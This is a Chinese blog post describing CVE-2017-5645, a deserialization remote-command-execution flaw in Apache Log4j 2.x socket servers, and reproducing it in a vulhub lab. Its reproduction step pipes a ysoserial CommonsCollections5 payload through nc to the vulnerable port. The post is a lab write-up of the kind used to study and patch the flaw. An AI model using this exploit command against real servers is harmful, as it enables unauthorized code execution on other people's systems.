首页 > 其他分享 > Apache Log4j Server CVE-2017-5645 反序列化命令执行漏洞

Apache Log4j Server CVE-2017-5645 反序列化命令执行漏洞

时间:2023-09-22 15:01:43浏览次数:36  
标签:payload Server 漏洞 Apache 2017 序列化 Log4j

漏洞描述

攻击者可以通过发送一个特别制作的2进制payload,在组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时,接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞
影响版本

Apache Log4j 2.8.2之前的2.x版本

环境搭建

cd /vulhub/log4j/CVE-2017-5645
docker-compose up -d

复现

使用ysoserial生成payload,然后直接发送给192.168.1.144:4712端口即可。
java -jar ysoserial-master.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.1.144 4712
进入容器发现生成文件成功
docker exec -it [容器id] /bin/bash

 

标签:payload,Server,漏洞,Apache,2017,序列化,Log4j
From: https://www.cnblogs.com/Bin-go/p/17722374.html

相关文章

  • VMware vCenter Server 8.0U2 发布 - 集中式管理 vSphere 环境
    VMwarevCenterServer8.0U2发布-集中式管理vSphere环境2023-09-21,北京时间22日凌晨vSphere8.0Update2正式发布。请访问原文链接:https://sysin.org/blog/vmware-vcenter-8-u2/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgvSphere8.0U2新增功能,请......
  • 基于Kubernetes的Serverless PaaS稳定性建设万字总结
    作者:许成铭(竞霄)数字经济的今天,云计算俨然已经作为基础设施融入到人们的日常生活中,稳定性作为云产品的基本要求,研发人员的技术底线,其不仅仅是文档里承诺的几个九的SLA数字,更是与客户切身利益乃至身家性命息息相关,稳定性压倒一切。本文将侧重于实际落地而非方法论,阐述云产品SAE......
  • SQL Server 编程
    SQLServer编程示例查询结果存入变量DECLARE@fserviceuseridVARCHAR(50);SELECT@fserviceuserid=a.fdevicecodeFROMdbo.tdmsdeviceaWHEREa.frowid='1'--结果,2023050001select@fserviceuserid 查询结果拼接并存入变量DECLARE@fserviceuseridVARCHAR(5000......
  • geoserver下载安装及使用全过程
    GeoServer是OpenGISWeb服务器规范的J2EE实现,利用GeoServer可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作,通过GeoServer可以比较容易的在用户之间迅速共享空间地理信息。注:GeoServer的是一个基于Java的软件,安装前请确认本地的java环境。若未安装......
  • Jenkins问题记录:Windows Server Jenkins修改配置后重启系统,Jenkins被初始化,启动后需要
    现象:WindowsServerJenkins修改配置后重启系统,Jenkins被初始化,启动后需要重新安装插件,配置管理员密码,项目列表丢失原因:修改"C:\ProgramFiles\Jenkins\jenkins.xml"配置,可能是配置异常,系统重启后,Jenkins自动重置了解决:重新安装Jenkins,配置文件就重新初始化,再启动不需要再安......
  • org.apache.cxf.interceptor.Fault: Could not send Message
    //cxf调用方法publicStringcallWebService(StringWSDL,Stringmedthod,StringinXML){JaxWsDynamicClientFactoryclientFactory=JaxWsDynamicClientFactory.newInstance();Clientclient=clientFactory.createClient(WSDL);try{Ob......
  • Java 序列化与反序列化的疑问
    关于序列化和反序列化的疑问为什么需要序列化和反序列化?因为计算机底层存储和传输都是二进制,所以需要将对象转化成字节数组。那么问题来了,只需要转成字节数组就行了,那为啥还要弄这么多东西?搞这么复杂?因为直接转生成的字节数组是不规则的,所以我们不能通过这样的字节数组把原......
  • JOIN org.apache.flink.table.api.TableException: Cannot generate a valid execut
    实践:1、--enricheachorderwithcustomerinformationSELECTo.order_id,o.total,c.country,c.zipFROMOrdersASoJOINCustomersFORSYSTEM_TIMEASOFo.proc_timeAScONo.customer_id=c.id;  org.apache.flink.table.api.TableException:Canno......
  • Ubuntu Server 14.04 LTS 设置静态IP地址
    IP地址以及网关修改、修改文件/etc/network/interfacessudovim/etc/network/interfaces对应作如下修改:autoeth0ifaceeth0inetstatic##原来的内容为ifaceeth0inetdhcpaddress192.168.0.117gateway192.168.0.1#这个地址你要确认下网关是不是这个地址net......
  • 缓冲流_转换流_序列化和反序列化_打印流
    1.缓冲流的原理2.字节缓冲输出流3.字节缓冲输入流4.缓冲流效率测试5.字符缓冲输出流6.字符缓冲输入流7.文本的排序8.字符集和字符编码9.转换流的原理10.OutputStreamWrite(字符通向字节的桥梁)11.InputStreamReader(字节通向字符的桥梁)12.转换文件编码13.序列换和反序列化的概述14.......